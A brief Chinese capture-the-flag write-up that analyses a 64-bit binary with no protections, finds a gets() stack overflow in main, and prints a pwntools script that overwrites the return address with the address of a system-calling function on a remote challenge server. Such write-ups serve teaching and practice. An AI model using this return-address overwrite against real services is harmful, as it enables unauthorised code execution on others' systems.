下载文件,checksec看一下,保护都没开,64位文件。
用IDA64打开文件,查看一下main函数。可以看到明显的栈溢出漏洞(gets)。
看一下v5,v5大小是 0x40, 返回地址是8 字节, 溢出大小就是0x48。
sub_40060D有点可疑,双击看一下。发现这里就是system函数,我们在构造pyaload的时候加上sub_40060D。
exp为:
from pwn import *
p = remote('node4.buuoj.cn', 25743)
payload = b'a' * (0x40 + 8) + p64(0x40060D)
p.recvuntil("WOW:0x40060d")
p.sendline(payload)
p.interactive()
得到flag。